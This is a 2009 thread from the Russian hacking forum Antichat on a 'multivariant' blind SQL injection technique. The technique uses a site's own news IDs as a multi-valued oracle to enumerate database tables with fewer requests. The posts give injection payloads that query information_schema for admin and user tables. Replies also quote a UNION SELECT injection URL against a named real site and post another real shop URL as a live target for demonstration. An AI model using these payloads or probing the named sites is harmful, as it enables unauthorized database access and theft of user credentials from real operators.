ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Multivariant Blind SQL Inject's
  #1  
Старый 24.04.2009, 17:51
Аватар для Psi.X
Psi.X
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме:
122612

Репутация: 13
Post Multivariant Blind SQL Inject's

Не знаю писал об этом кто-то раньше или нет, идея в общем то очевидная...

Для начала напомню суть Blind SQL - к примеру у нас есть уязвимый сайт, на лицо инъекция, но использовать
классический UNION SELECT мы не можем, так как в скрипте, к примеру, используються несколько последовательно идущих запросов с разным количеством колонок, в которые приходит наш уязвимый параметр. Чтобы получить данные из базы в этом случае обычно используеться конструкция
AND c посимвольным перебором значений:
Код:
Подбор имени первой несистемной таблицы:
index.php?id=113+
	AND+1=ASCII(LOWER(SUBSTRING(
        	SELECT table_name FROM+information_schema.tables LIMIT 18,1),N,1))=0xXX/*
	(ну понятно, N - позиция символа, 0xXX - значение)
То есть у нас есть только 2 варианта - либо символ подходит либо нет. Так же при проведении слепых инъекций обычно используют алгоритм бинарного поиска. Те перебор идет не тупо по байтам, а методом проверки вхождения перебираемого символа в диапазон, с последующим его сужением.

Еще одна полезная констукция - IN:
Код:
Проверяем существование таблиц из списка
index.php?id=113+
	AND+1=
		(select 1 from information_schema.tables
			 where table_name in ('administrators','admins','user')
Данная атака имеет существенный недостаток - для ее реализации необходимо послать серверу большое число запросов, что может привлечь внимание админа, а слишком частые запросы могут быть расценены сервером как DOS.

Но почему бы нам не использовать в качестве выводимого результата "родные" ID скрипта? Допустим у нас есть новостной сайт - с уязвимым параметром news_id. Сопоставив каждому варианту ид новости мы сможем возвращать более 2 вариантов, сократив таким образом количество запросов:

Код:
?news.php?news_id=
	(select 111 from information_schema.tables where table_name = 'administrators'
	     union select 112 from information_schema.tables where table_name = 'admins'
	     union select 113 from information_schema.tables where table_name = 'users')
После чего парсим заголовки новостей и получаем наше значение.

Последний раз редактировалось Psi.X; 24.04.2009 в 22:25..
 
Ответить с цитированием

  #2  
Старый 24.04.2009, 17:54
Аватар для Kernet
Kernet
Постоянный
Регистрация: 28.09.2008
Сообщений: 456
Провел на форуме:
2244151

Репутация: 404
Отправить сообщение для Kernet с помощью ICQ
По умолчанию

ога,я смотрю не зря открыли доступ на чих.
 
Ответить с цитированием

  #3  
Старый 24.04.2009, 21:19
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

да уже было на ачате это.. https://forum.antichat.ru/showpost.php?p=1047515&postcount=72

Последний раз редактировалось попугай; 24.04.2009 в 21:30..
 
Ответить с цитированием

  #4  
Старый 24.04.2009, 22:22
Аватар для Psi.X
Psi.X
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме:
122612

Репутация: 13
По умолчанию

Kernet
Эмм.. кто кому куда открыл...??

попугай
Ну там какбе немного подругому... У меня про чиcтый blind...

Последний раз редактировалось Psi.X; 24.04.2009 в 22:36..
 
Ответить с цитированием

  #5  
Старый 24.04.2009, 22:47
Аватар для pampom
pampom
Познающий
Регистрация: 23.04.2008
Сообщений: 63
Провел на форуме:
176079

Репутация: 13
По умолчанию

Цитата:
?news.php?news_id=
(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')
Не совсем понял смысл данной конструкции... именно при блинд ижекте.
Если касаться именно поиска таблички с юзерами то кажеться легче всего начинать с like '%%'

Вижу только 1 + данного метода это более нагдляднее... а если там допустим надо логин или пароль вытаскивать то тогда как?
 
Ответить с цитированием

  #6  
Старый 25.04.2009, 02:39
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

pampom, да этот метод, как я понял для того, чтобы брутить имена таблиц в 5й ветке, а не доставать их посимвольно. Или я ошибаюсь?
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #7  
Старый 25.04.2009, 05:37
Аватар для o3,14um
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

Цитата:
Сообщение от попугай  
да уже было на ачате это.. https://forum.antichat.ru/showpost.php?p=1047515&postcount=72
по этому поводу могу сказать что это фигня, ибо проблемы возникат не в таких ситуациях. как описал jokester, а когда проверяютс все результы($result, переменные) и если хоть один с ошибкой, то die() или что-то вроде. ТОгда метод, предложенный jokester'ом не сработает.


Цитата:
Код:
Код:
?news.php?news_id= (select 111 from information_schema.tables where table_name = 'administrators' union select 112 from information_schema.tables where table_name = 'admins' union select 113 from information_schema.tables where table_name = 'users')
После чего парсим заголовки новостей и получаем наше значение.
совсем не понял идеи =)
ДОпустим запрос такой:

select newcont from news where id=$id

инжект в параметре ИД.
Допустим там ещё ткая реализация что содержимое ИД куда-нить попадает и обрабатывается. Ну вобщем слепая инъекция.

в итогде, по предложенному вами методу получится:

select * from news where id=(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')

если какойто таблицы не существует, то эррор. с колумнами то же самое.

в слепой инжекции можно получить только 0 или 1, то бишь тру или фолс. Выходит, чтобы получить тру, нужно чтобы все параметры были верны.

Цитата:
После чего парсим заголовки новостей и получаем наше значение.
так если инъекйия блинд, то нечего и парсить будет =)
 
Ответить с цитированием

  #8  
Старый 25.04.2009, 14:10
Аватар для Psi.X
Psi.X
Познающий
Регистрация: 12.04.2009
Сообщений: 45
Провел на форуме:
122612

Репутация: 13
По умолчанию

Код:
?news.php?news_id=
(select 111 from information_schema.tables where table_name = 'administrators'
union select 112 from information_schema.tables where table_name = 'admins'
union select 113 from information_schema.tables where table_name = 'users')
Я написал этот запрос чисто для примера, смысл в том что мы увеличиваем разрядность ответа, те уже не 1 или 0, а 0 +столько новостей(или чего угодно) сколько есть на сайте. Те для вытягивания данных все равно придется делать посимвольный брут, но за один запрос мы сможем узнать больше информации, соответственно нам нужно будет послать меньше запросов.

К примеру у нас есть новости "Пьяные солдаты сбили НЛО" с ид 111 и "Обама тайный брат Майкла Джексона" с ид 112. Запрос возвращает статью про Обаму соответственно наше значение 'admins'

o3,14um
>если какойто таблицы не существует, то эррор
Почему еррор? еррор здесь будет если существуют несколько...
 
Ответить с цитированием

  #9  
Старый 25.04.2009, 15:06
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

2 попугай
Речь не об этом

2 o3,14um
Цитата:
Сообщение от o3,14um  
по этому поводу могу сказать что это фигня, ибо проблемы возникат не в таких ситуациях. как описал jokester, а когда проверяютс все результы($result, переменные) и если хоть один с ошибкой, то die() или что-то вроде. ТОгда метод, предложенный jokester'ом не сработает.
Вообще-то , там есть пример РЕАЛЬНОЙ скули из топика и говорить о том, что метод тепличный не приходится (но это конечно надо читать, а это не всем дано )
Цитата:
Сообщение от o3,14um  
если какойто таблицы не существует, то эррор. с колумнами то же самое.
попробуй потестить, или опять-же почитать про SQL
Цитата:
Сообщение от o3,14um  
в слепой инжекции можно получить только 0 или 1, то бишь тру или фолс. Выходит, чтобы получить тру, нужно чтобы все параметры были верны.

так если инъекйия блинд, то нечего и парсить будет =)
Нет, в слепой инъекции невозможно получить вывод и только. Другие моменты, это частный случай.

2 Psi.X да, нормально, но не ново , не доработано, и уж конечно не универсально
 
Ответить с цитированием

  #10  
Старый 25.04.2009, 16:36
Аватар для o3,14um
o3,14um
Участник форума
Регистрация: 16.11.2006
Сообщений: 230
Провел на форуме:
599789

Репутация: 227
По умолчанию

Цитата:
Вообще-то , там есть пример РЕАЛЬНОЙ скули из топика и говорить о том, что метод тепличный не приходится (но это конечно надо читать, а это не всем дано )
Ну во-первых, твой РЕАЛЬНОЙ пример
Цитата:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4, 5,6,7,8,9/*
как-то и не работает =)

Я, конечно верю, что когда-то он работал, но посмотрим даже сейчас. Там по-видимому сделали пеерстройку и теперь проверяются переменные-результы на правильность и если хоть один из них неправильный - вылазит одибка мускуля. Ну, может там и подругому, но не суть.

Цитата:
попробуй потестить, или опять-же почитать про SQL
ну попробовал, потестил... Я самой идеи не понял...

Вот вам слепая скуля
http://www.omjewels.com/cpCommerce/document.php?id_document=2-1

из багтрека
http://www.xakep.ru/post/47899/default.asp

Покажите пожалуйста на примере, этот метод...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ